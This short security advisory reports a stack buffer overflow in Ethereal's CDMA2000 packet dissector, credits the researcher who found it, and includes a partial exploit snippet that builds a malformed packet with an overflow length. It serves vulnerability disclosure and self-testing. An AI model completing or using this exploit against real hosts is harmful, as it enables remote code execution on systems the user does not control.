Ethereal is vulnerable to a stack based buffer overflow in the CDMA2000 of 3G filter. This may allow an attacker to run arbitrary machine code on a vulnerable host. The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by Leon Juranic.
buf[0] = 22;
memset(buf+1,'A',19);
buf[20] = 38;
*(unsigned short*)&buf[22] = htons(100);
*(unsigned short*)&buf[28] = 0x0101;
buf[30] = 31;
buf[31] = 150; // len for overflow...play with this value if it doesn't work